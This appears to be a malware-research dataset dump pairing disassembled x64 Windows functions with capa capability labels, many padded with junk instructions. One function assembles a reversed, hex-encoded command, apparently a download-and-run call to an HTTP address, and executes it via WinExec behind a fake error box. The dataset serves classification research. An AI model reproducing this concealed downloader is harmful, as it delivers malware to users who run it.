joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1404d38bf
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov bh, cl
shr rbx, cl
mov qword [rsp + 0x18], rsi
adc rbx, 0x57e45a8f
push rdi
sub rsp, 0x20
test r11b, cl
xadd di, bx
xor esi, esi
test r15b, 0x8d
mov rdi, rdx
bts bx, r13w
mov rbx, rcx
cmp ecx, 0x6f1f1de1
cmc
test rcx, rcx
jmp 0x1404d3901
je 0x1404d39a4
cmp word [rcx], si
jmp 0x1404d390f
je 0x1404d39a4
lea rdx, [0x1400d1d08]
jmp 0x1404d3921
call fcn.14026c19e
test eax, eax
jmp 0x1404d392d
je 0x1404d39a4
lea rdx, [0x1400d1d00]
mov cl, al
mov rcx, rbx
call fcn.14026c19e
test eax, eax
jmp 0x1404d394b
jne 0x1404d3992
mov ecx, dword [rdi + 8]
xchg dl, r9b
seta r9b
lea r9d, [rsi + 2]
movzx r8w, dil
cdq
xchg edx, edx
lea r8, [rsp + 0x30]
mov edx, 0x2000000b
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jmp 0x1404d397e
je 0x1404d39d9
mov eax, dword [rsp + 0x30]
jmp 0x1404d398d
jmp 0x1404d39ff
mov rcx, rbx
jmp 0x1404d399a
call fcn.1404dc8bb
jmp 0x1404d39ff
mov ecx, dword [rdi + 8]
lea r8, [rsp + 0x30]
movsx rdx, r10w
movsxd rdx, r13d
cmovs edx, r12d
mov r9d, 2
movsx rdx, r11w
mov edx, 0x20001004
jmp 0x1404d39cb
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1404d39e5
xor eax, eax
jmp 0x1404d39e0
jmp 0x1404d39ff
mov eax, dword [rsp + 0x30]
test r14b, al
test eax, eax
jmp 0x1404d39f3
jne 0x1404d39ff
call qword [sym.imp.KERNEL32.dll_GetACP]
mov rbx, qword [rsp + 0x38]
movsx edi, r11w
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
sets dil
not rdi
pop rdi
ret

Function at 0x1404d3a1a
Capabilities:
Encrypt data using rc4 prga
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
btc si, r11w
shr si, cl
mov bx, 0x36ca
sub rsp, 0x20
movsxd rsi, ebp
bswap ebx
movzx si, r14b
mov esi, edx
movzx rbx, r10w
movsx ebx, dx
mov ebx, ecx
jmp 0x1404d3a4f
call fcn.1404c59a7
mov ecx, ebx
seta r9b
mov r8w, 0x1e3f
movsx edi, r10w
lea r8, [rsp + 0x30]
add r9b, 0xd2
bts di, dx
cmc
and ecx, 0x3ff
mov r9d, 2
bts di, si
bts ecx, 0xa
setb dil
cqo
mov edx, 0x20000001
movsx edi, ax
bswap edi
mov rdi, rax
jmp 0x1404d3a9d
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
sub r10d, r10d
test eax, eax
jmp 0x1404d3aad
je 0x1404d3b6f
cmp ebx, dword [rsp + 0x30]
jmp 0x1404d3abc
je 0x1404d3b60
test esi, esi
je 0x1404d3b60
mov r9, qword [rdi + 0x98]
and r8d, r13d
movzx dx, ah
cdqe
mov r8d, r10d
sal dl, 0x90
xchg ecx, eax
movzx edx, word [r9]
lea rcx, [r9 + 2]
test al, 7
xor ah, bl
rol ah, 0xab
lea eax, [rdx - 0x41]
cmp eax, ebx
cmp ax, 0x19
jmp 0x1404d3afe
jbe 0x1404d3b22
sub dx, 0x61
test rdi, 0x49bc6308
cmc
cmp r15d, ecx
cmp dx, 0x19
jmp 0x1404d3b1c
ja 0x1404d3b3c
movzx edx, word [rcx]
jmp 0x1404d3b2a
inc r8d
cmc
add rcx, 2
jmp 0x1404d3b37
jmp 0x1404d3af0
or rcx, 0xffffffffffffffff
inc rcx
cmp di, r15w
cmp word [r9 + rcx*2], r10w
jmp 0x1404d3b51
jne 0x1404d3b40
cmp r8d, ecx
je 0x1404d3b6f
mov eax, 1
jmp 0x1404d3b6a
jmp 0x1404d3b71
xor eax, eax
mov rbx, qword [rsp + 0x38]
or si, bx
rcl sil, cl
ror dil, 0x6f
mov rsi, qword [rsp + 0x40]
sub dil, r13b
add rsp, 0x20
mov di, 0x71f5
pop rdi
ret
Function at 0x1404d5200
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
stc
mov qword [rax + 8], rbx
cmc
mov qword [rax + 0x10], rbp
cmp rax, 0x446f4615
mov qword [rax + 0x18], rsi
cmc
stc
mov qword [rax + 0x20], rdi
jmp 0x1404d5223
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor r14d, r14d
sbb bx, 0x37cb
mov rbx, rax
test rax, rax
jmp 0x1404d5242
je 0x1404d53ca
mov rsi, rax
jmp 0x1404d5250
cmp word [rax], r14w
je 0x1404d5299
or rax, 0xffffffffffffffff
jmp 0x1404d5263
inc rax
cmp word [rsi + rax*2], r14w
jmp 0x1404d5270
jne 0x1404d5263
lea rsi, [rsi + rax*2]
add rsi, 2
jmp 0x1404d528a
cmp word [rsi], r14w
jmp 0x1404d5293
jne 0x1404d525a
mov qword [rsp + 0x38], r14
clc
jmp 0x1404d52a8
sub rsi, rbx
xadd r9d, r8d
movsxd r8, r9d
mov qword [rsp + 0x30], r14
rol r9b, cl
rcr r8d, 8
movzx r9, r14w
add rsi, 2
or r8b, r8b
movzx r9d, si
sar rsi, 1
mov r8b, r13b
mov r8, rbx
mov r9d, esi
test r14d, ebp
mov dword [rsp + 0x28], r14d
cmp ecx, 0x7e2024bb
cmp al, al
test dh, 0xf0
xor edx, edx
clc
mov qword [rsp + 0x20], r14
cmc
test r9b, al
xor ecx, ecx
jmp 0x1404d52ff
call fcn.1404c57bb
movsxd rbp, eax
cmc
test eax, eax
jmp 0x1404d530f
je 0x1404d53ca
mov rcx, rbp
jmp 0x1404d531d
call fcn.1404c5707
mov rdi, rax
test r8d, 0x31434b0d
test rax, rax
jmp 0x1404d5334
je 0x1404d53ac
mov qword [rsp + 0x38], r14
sub r8w, r14w
shr r9b, cl
rcl r9b, cl
mov r9d, esi
movsxd r8, eax
cmovg r8w, cx
stc
mov qword [rsp + 0x30], r14
bt r8w, r15w
mov r8, rbx
stc
clc
mov dword [rsp + 0x28], ebp
cmp ecx, 0x35c7077f
jmp 0x1404d5373
sub edx, edx
cmc
test dil, r13b
sub ecx, ecx
jmp 0x1404d5380
mov qword [rsp + 0x20], rax
jmp 0x1404d538a
call fcn.1404c57bb
test eax, eax
jmp 0x1404d5396
je 0x1404d53ac
mov rsi, rdi
mov rdi, r14
jmp 0x1404d53a7
jmp 0x1404d53b8
mov rsi, r14
movsx rcx, r9w
movsxd rcx, edi
mov cl, 0x1d
mov rcx, rdi
jmp 0x1404d53c0
call fcn.1404c5689
jmp 0x1404d53cf
mov rsi, r14
stc
cmc
test rbx, rbx
jmp 0x1404d53d7
je 0x1404d53eb
mov rcx, rbx
jmp 0x1404d53e5
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x50]
movsx r14w, dil
mov rax, rsi
sal bpl, 0x75
sbb sil, dil
ror si, cl
mov rsi, qword [rsp + 0x60]
shr ebp, 0x7f
not edi
rcr bp, 5
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
rcr r14b, 0x2e
shl r14, cl
add rsp, 0x40
mov r14w, r10w
movsx r14w, dil
pop r14
jmp 0x1404d5435
ret
Function at 0x1404d5436
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
jmp 0x1404d5452
mov qword [rsp + 0x10], rbp
test r8b, r11b
cmc
mov qword [rsp + 0x18], rsi
clc
cmc
push rdi
sub rsp, 0x20
jmp 0x1404d546c
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
sub esi, esi
rcr bl, 0xc0
stc
not bh
mov rbx, rax
test rax, rax
jmp 0x1404d5485
je 0x1404d554b
mov rbp, rax
cmp word [rax], si
jmp 0x1404d5496
je 0x1404d54d5
or rax, 0xffffffffffffffff
jmp 0x1404d54a5
inc rax
test r11b, sil
cmp word [rbp + rax*2], si
jne 0x1404d54a5
lea rbp, [rbp + rax*2]
test di, cx
add rbp, 2
test ax, 0x1db
cmp word [rbp], si
jmp 0x1404d54cf
jne 0x1404d549c
sub rbp, rbx
add rbp, 2
sar rbp, 1
add rbp, rbp
movzx cx, bpl
xchg cx, cx
movsxd rcx, esp
mov rcx, rbp
jmp 0x1404d54f5
call fcn.1404c5707
mov rdi, rax
cmc
test rax, rax
jmp 0x1404d5506
je 0x1404d5531
mov r8, rbp
movzx ecx, r10w
mov rdx, rbx
cmovo rcx, r9
bswap cx
mov rcx, rax
jmp 0x1404d5525
call fcn.14049f837
mov rsi, rdi
stc
cmp r11b, r14b
xor ecx, ecx
jmp 0x1404d5538
call fcn.1404c5689
mov rcx, rbx
jmp 0x1404d5545
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x30]
test r10b, 0x4c
mov rax, rsi
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
btc edi, r13d
add rsp, 0x20
pop rdi
ret
Function at 0x1404d83ee
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
movsx eax, cx
mov eax, 0x1450
jmp 0x1404d841b
call fcn.14044491f
sub rsp, rax
cmp ax, r13w
rcr esi, cl
mov rax, qword [0x1400b7288]
mov r14w, 0x79bc
sar r14w, cl
xor rax, rsp
add r10w, r12w
mov qword [rsp + 0x1440], rax
shrd r14w, r15w, 0xe8
dec dil
add dil, bl
movsxd r10, edx
shr ah, cl
setnp dil
cwd
mov rdi, rcx
rcl al, 0x38
mov rax, r10
sub sil, 0xd8
mov ebp, r9d
sar rax, 6
shrd si, bx, 0xc4
lea rcx, [0x1400ba940]
and r10d, 0x3f
sal r14w, cl
add rbp, r8
xor r14w, ax
bt r14d, 0x35
mov rsi, r8
movsx r14, r11w
mov rax, qword [rcx + rax*8]
and r14b, spl
jmp 0x1404d84a6
lea rdx, [r10 + r10*8]
btc r14d, r10d
clc
rcr r14w, cl
mov r14, qword [rax + rdx*8 + 0x28]
sub eax, eax
cmp r13b, dl
mov qword [rdi], rax
stc
mov dword [rdi + 8], eax
cmp r8, rbp
jae 0x1404d85b9
lea rbx, [rsp + 0x40]
cmp r12w, 0x4caa
jmp 0x1404d84dd
cmp rsi, rbp
jmp 0x1404d84e5
jae 0x1404d853c
mov al, byte [rsi]
jmp 0x1404d84f2
inc rsi
clc
cmp al, 0xa
jmp 0x1404d84fd
jne 0x1404d8511
inc dword [rdi + 8]
jmp 0x1404d850b
mov byte [rbx], 0xd
inc rbx
mov byte [rbx], al
cmovs rax, r10
not rax
movsx rax, cx
inc rbx
lea rax, [rsp + 0x143f]
jmp 0x1404d852e
cmp rbx, rax
jmp 0x1404d8536
jb 0x1404d84dd
and qword [rsp + 0x20], 0
lea rax, [rsp + 0x40]
sub ebx, eax
lea r9, [rsp + 0x30]
movzx rdx, bp
cmovo r8d, esi
not cl
mov r8d, ebx
movzx dx, r12b
movzx rcx, r12w
lea rdx, [rsp + 0x40]
movzx rcx, di
mov rcx, r14
jmp 0x1404d8575
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1404d85ae
mov eax, dword [rsp + 0x30]
cmc
jmp 0x1404d8593
add dword [rdi + 4], eax
clc
cmc
cmp eax, ebx
jb 0x1404d85b9
cmp rsi, rbp
jb 0x1404d84cd
jmp 0x1404d85b9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rdi], eax
bts eax, ebp
mov rax, rdi
cmp r15b, 0xba
mov rcx, qword [rsp + 0x1440]
xor rcx, rsp
jmp 0x1404d85d0
call fcn.14049bbae
lea r11, [rsp + 0x1450]
movsx r14, r9w
jmp 0x1404d85e6
mov rbx, qword [r11 + 0x20]
xchg rdi, rbp
mov rbp, qword [r11 + 0x30]
jmp 0x1404d85f6
mov rsp, r11
mov si, 0x6185
pop r14
pop rdi
not si
mov sil, 0x70
pop rsi
jmp 0x1404d860c
ret
Function at 0x1404d860d
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
cwde
mov qword [rsp + 0x18], rbp
movsx eax, cx
movzx eax, si
push rsi
mov ax, di
push rdi
push r14
mov eax, 0x1450
call fcn.14044491f
sub rsp, rax
clc
or rdi, rdx
mov rax, qword [0x1400b7288]
stc
add di, r15w
xor rax, rsp
mov qword [rsp + 0x1440], rax
ror r14b, 0x70
movsxd r10, edx
mov rdi, rcx
mov rax, r10
ror dh, cl
shl r14d, 0xee
shr ebp, cl
mov ebp, r9d
adc dl, dil
xor r14b, 0xee
sar rax, 6
ror sil, cl
ror r14b, 6
shl r14, cl
lea rcx, [0x1400ba940]
bt r14d, 0x6f
rcr dx, cl
and r10d, 0x3f
bsr r14w, ax
lea rbp, [rbp + r8]
bts si, r8w
adc sil, 0x1f
movzx rdx, cx
mov rsi, r8
movsx dx, r8b
neg dx
mov rax, qword [rcx + rax*8]
mov dx, 0x7b34
xor r14d, 0x7efc08be
lea rdx, [r10 + r10*8]
dec r14b
rcr r14d, 0x10
xchg r14d, r14d
mov r14, qword [rax + rdx*8 + 0x28]
clc
cmp di, 0x6896
xor eax, eax
test r10b, 4
stc
test r13, rbp
mov qword [rdi], rax
stc
cmc
mov dword [rdi + 8], eax
cmc
cmp edi, 0x70fa1363
stc
cmp r8, rbp
jae 0x1404d8815
lea rbx, [rsp + 0x40]
cmp rsi, rbp
jmp 0x1404d8707
jae 0x1404d8782
movzx eax, word [rsi]
cmp bh, 0x15
add rsi, 2
cmp ax, 0xa
jmp 0x1404d8720
jne 0x1404d874e
add dword [rdi + 8], 2
xchg ecx, ecx
bt cx, 0xb9
mov ecx, 0xd
stc
mov word [rbx], cx
cmp r13w, 0x5523
test r9d, 0x53835a98
cmp r14, rsp
add rbx, 2
mov word [rbx], ax
test sil, 0x34
shl rax, 0x7a
add rbx, 2
ror al, 0x26
shl al, 0xb1
lea rax, [rsp + 0x143e]
cmc
cmp cl, 0x76
jmp 0x1404d8774
cmp rbx, rax
jmp 0x1404d877c
jb 0x1404d86ff
and qword [rsp + 0x20], 0
mov al, 9
bts ecx, edx
lea rax, [rsp + 0x40]
sar dl, cl
and r8b, bpl
sub rbx, rax
bts cx, r12w
lea r9, [rsp + 0x30]
sar rbx, 1
setp dl
rcr ch, 0x23
btr cx, 0xa6
lea rdx, [rsp + 0x40]
movzx r8d, r15w
add ebx, ebx
not cx
mov rcx, r14
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1404d8806
mov eax, dword [rsp + 0x30]
clc
test dl, 0x58
cmp r8d, 0x259a58c2
add dword [rdi + 4], eax
cmp eax, ebx
jmp 0x1404d87ed
jb 0x1404d8815
cmp rsi, rbp
jmp 0x1404d87fb
jb 0x1404d86fa
jmp 0x1404d8815
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rdi], eax
btc cx, 0xb6
adc cl, dl
mov rax, rdi
sbb cl, r10b
mov ecx, edi
mov rcx, qword [rsp + 0x1440]
test rbp, rbp
clc
xor rcx, rsp
jmp 0x1404d8831
call fcn.14049bbae
lea r11, [rsp + 0x1450]
movsx edi, cx
mov rbx, qword [r11 + 0x20]
movzx si, r9b
cmovle r14w, r13w
mov rbp, qword [r11 + 0x30]
movsxd r14, r11d
sete r14b
movzx r14w, r13b
mov rsp, r11
xchg r14b, r14b
pop r14
movsx si, dl
bswap si
xchg sil, dil
pop rdi
pop rsi
ret
Function at 0x1404dc060
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
btc dx, 3
sar r8b, 0x63
lea r9, [0x1400c8e90]
xor r8w, dx
sub ecx, ecx
movzx dx, bpl
movzx r8, di
jmp 0x1404dc08d
lea r8, [0x1400c8e88]
mov dl, ah
lea rdx, [0x1400cfb70]
jmp 0x1404dc0a2
call fcn.1404dc324
test rax, rax
jmp 0x1404dc0af
je 0x1404dc0d6
mov rcx, rbx
add bl, 0x5a
add rsp, 0x20
movsx bx, r11b
movzx bx, dil
pop rbx
jmp 0x1404dc0cf
jmp qword [case.0x140444828.0]
add rsp, 0x20
movsxd rbx, ebp
jmp 0x1404dc0e2
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x1404dc1d9
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
btc r9w, 0x61
push rdi
or r9w, r11w
xchg dil, r9b
movsx rbx, di
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x1400c8ea8]
movzx r8w, r9b
not dil
movsx edi, r9w
mov edi, ecx
lea rdx, [0x1400cf748]
movzx cx, r15b
not r8w
mov ecx, 3
lea r8, [0x1400c8ea0]
jmp 0x1404dc22d
call fcn.1404dc324
mov rdx, rbx
mov ecx, edi
jmp 0x1404dc23d
test rax, rax
jmp 0x1404dc245
je 0x1404dc256
call qword [case.0x140444828.0]
jmp 0x1404dc25c
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
cmp ax, 0x2649
add rsp, 0x20
pop rdi
jmp 0x1404dc26f
ret
Function at 0x1404dd91c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
xor r8w, di
xor r9d, r9d
sar r8b, 0xa
rol r8b, 0x3b
mov r8, rcx
clc
test r11b, 0xf8
test edx, edx
jmp 0x1404dd93f
jne 0x1404dd9c0
mov rdx, rcx
cmp r13d, 0x7e46148c
and r8d, 0xf
cmc
cmp r12w, dx
test esi, eax
and rdx, 0xfffffffffffffff0
or r10d, 0xffffffff
jmp 0x1404dd967
xorps xmm0, xmm0
mov ecx, r8d
cmc
test r8w, di
shl r10d, cl
jmp 0x1404dd97a
pcmpeqb xmm0, xmmword [rdx]
pmovmskb eax, xmm0
and eax, r10d
jmp 0x1404dd98a
jne 0x1404dd9ac
add rdx, 0x10
xorps xmm0, xmm0
pcmpeqb xmm0, xmmword [rdx]
pmovmskb eax, xmm0
test eax, eax
jmp 0x1404dd9a6
je 0x1404dd990
bsf eax, eax
test cx, 0x4595
cmp r9b, 0x77
add rax, rdx
jmp 0x1404ddadc
cmp dword [reloc.d2d1.dll_Ordinal_1], 2
jmp 0x1404dd9cc
jge 0x1404ddb0d
movzx eax, dl
rcl rcx, cl
ror cl, cl
or r10d, 0xffffffff
test r11b, 0x16
bts rcx, rdx
mov ecx, eax
movsxd r11, r13d
mov r11, r8
clc
shl ecx, 8
and r11, 0xfffffffffffffff0
or ecx, eax
movzx eax, dx
ror al, cl
ror ah, 0xe4
and r8d, 0xf
mov eax, r10d
jmp 0x1404dda0c
movd xmm0, ecx
mov ecx, r8d
jmp 0x1404dda18
pshuflw xmm1, xmm0, 0
xorps xmm0, xmm0
pcmpeqb xmm0, xmmword [r11]
pmovmskb ebx, xmm0
shl r10d, cl
jmp 0x1404dda31
pshufd xmm2, xmm1, 0
movdqa xmm0, xmm2
shl eax, cl
jmp 0x1404dda41
pcmpeqb xmm0, xmmword [r11]
pmovmskb edx, xmm0
and edx, r10d
cmp rdi, 0x78103252
and ebx, eax
jmp 0x1404dda5b
jne 0x1404dda9e
bsr ecx, edx
jmp 0x1404dda69
xorps xmm1, xmm1
movdqa xmm0, xmm2
lea rcx, [rcx + r11]
cmp sp, 0x453a
stc
test edx, edx
cmovne r9, rcx
add r11, 0x10
pcmpeqb xmm1, xmmword [r11]
pcmpeqb xmm0, xmmword [r11]
pmovmskb ebx, xmm1
pmovmskb edx, xmm0
test ebx, ebx
je 0x1404dda61
mov eax, ebx
adc cx, r8w
rcr ch, 0xef
bswap ecx
neg eax
and eax, ebx
inc ch
dec eax
shr bl, 0x11
and edx, eax
bsr ecx, edx
sal eax, 0x4c
lea rcx, [rcx + r11]
sar ebx, cl
test edx, edx
not rax
cmovne r9, rcx
movsxd rax, esp
mov ebx, r8d
mov rax, r9
mov ebx, ebp
mov bl, 0x3f
movzx rbx, bx
mov rbx, qword [rsp + 8]
ret
movsx eax, byte [r8]
cmp cl, 0x44
cmc
clc
cmp eax, edx
jmp 0x1404ddaf2
cmove r9, r8
stc
test r10b, 5
cmp byte [r8], 0
jmp 0x1404ddb04
je 0x1404ddad1
inc r8
test r8b, 0xf
jmp 0x1404ddb16
jne 0x1404ddae2
movzx eax, dl
movd xmm0, eax
pcmpistri xmm0, xmmword [r8], 0x40
jae 0x1404ddb42
movsxd r9, ecx
test r15d, edx
cmc
stc
add r9, r8
pcmpistri xmm0, xmmword [r8], 0x40
je 0x1404ddad1
add r8, 0x10
jmp 0x1404ddb51
jmp 0x1404ddb23
Function at 0x1404e2e3f
Capabilities:
Check http status code

Disassembly:
push rbx
test r14b, 0xc8
sub rsp, 0x20
jmp 0x1404e2e4e
call fcn.1404e1b56
mov ebx, eax
call fcn.1400efa44
sub r9d, r9d
test bl, 0x3f
jmp 0x1404e2e65
je 0x1404e2f38
mov ecx, ebx
mov eax, ebx
mov edx, ebx
movsx r9w, spl
sar r8b, cl
btr r8, r14
and edx, 1
adc r9, 0x53526473
shl edx, 4
shl r9b, cl
sub r8b, 0xfc
mov r8d, edx
and r9w, 0x6bd1
movsx r9, r15w
btc r9w, 0xa3
or r8d, 8
and cl, 4
xchg cl, ch
setb cl
bswap ecx
cmove r8d, edx
shrd ecx, r9d, 0xa0
btc rdx, r10
rcl ecx, 0x36
mov ecx, r8d
or ecx, 4
and al, 8
movzx r9, si
mov eax, ebx
movsx rdx, ax
cmove ecx, r8d
or r9w, 0x231a
mov edx, ecx
mov r9w, 0x330b
mov r9w, r15w
or r9b, r14b
or edx, 2
xor r9b, dil
shl r9d, cl
and al, 0x10
movzx r9, dx
setg r9b
cmovb r9d, ebx
mov eax, ebx
cmove edx, ecx
btr r9w, r10w
mov r9d, edx
or r9d, 1
and al, 0x20
jmp 0x1404e2f1b
cmove r9d, edx
cmc
test bl, 2
jmp 0x1404e2f28
je 0x1404e2f38
bts r9d, 0x13
movzx bx, sil
mov eax, r9d
mov rbx, rbx
mov rbx, 0x4772169a
add rsp, 0x20
movsx ebx, cx
pop rbx
jmp 0x1404e2f52
ret
Function at 0x2324013f0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0xa8
mov r8d, 0x69
mov r10d, 0x7c
movabs rax, 0x47614a322e6d7369
movabs rdx, 0x635c707951305668
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
movabs rax, 0x72735c7075626c69
mov qword [rsp + 0x30], rax
movabs rax, 0x6d656f7574203130
mov qword [rsp + 0x28], rdx
movabs rdx, 0x2626633a5c757365
mov qword [rsp + 0x40], rax
movabs rax, 0x554d59417064342f
mov qword [rsp + 0x38], rdx
movabs rdx, 0x3874586b26267469
mov qword [rsp + 0x50], rax
movabs rax, 0x2f3133352e313235
mov qword [rsp + 0x48], rdx
movabs rdx, 0x2e3137372e38322f
mov qword [rsp + 0x60], rax
movabs rax, 0x6847614a322e6d73
mov qword [rsp + 0x58], rdx
movabs rdx, 0x6920687474703a2f
mov qword [rsp + 0x70], rax
movabs rax, 0x6572735c7075626c
mov qword [rsp + 0x68], rdx
movabs rdx, 0x69635c7079513056
mov qword [rsp + 0x80], rax
movabs rax, 0x63206375725e6c20
mov qword [rsp + 0x78], rdx
movabs rdx, 0x2d6f20633a5c7573
mov qword [rsp + 0x90], rax
mov eax, 0x63
mov qword [rsp + 0x88], rdx
mov rdx, rcx
mov word [rsp + 0x9c], ax
mov eax, 0x7c
mov dword [rsp + 0x98], 0x6d64202f
jmp 0x23240151c
movzx r8d, byte [rdx]
movzx r9d, byte [rcx + rax]
add rdx, 1
mov byte [rdx - 1], r9b
mov byte [rcx + rax], r8b
sub rax, 1
mov r8d, r10d
sub r8d, eax
cmp r8d, eax
jl 0x232401518
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, 0x10
lea r8, str.Internal_Error
xor ecx, ecx
lea rdx, str.An_internal_error_has_occurred.
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0xa8
ret

Function at 0x232401710
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.232402410
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.232402410
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x232401780
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x232407064]
mov r12, rcx
test ebx, ebx
jle 0x2324018b0
mov rax, qword [0x232407068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x2324017cc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x232401853
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x2324017b0
mov rcx, r12
call fcn.232401f00
mov rsi, rax
test rax, rax
je 0x2324018d2
mov rax, qword [0x232407068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.232402030
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x232407068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2324018b7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x23240184c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x232401860
add dword [0x232407064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x232407068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x23240184c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.232401710
nop dword [rax]
xor ebx, ebx
jmp 0x2324017d7
mov rax, qword [0x232407068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.232401710
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.232401710
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x232401b70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x2324070a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x232407080]
test rbx, rbx
je 0x232401bc4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x232401bbb
test r12, r12
je 0x232401bbb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x232401ba0
lea rcx, [0x2324070a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x232401f00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x232404220]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x232401f20
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x232401f28
ret
cmp word [r8 + 0x18], 0x20b
jne 0x232401f20
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x232401f75
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x232401f6c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x232401f20
add rax, 0x28
cmp rax, r9
jne 0x232401f58
xor eax, eax
ret

Function at 0x232401f80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x232404220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x232401fa0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x232401fa8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x232401fa0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x232402030
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x232404220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x232402050
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x232402058
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret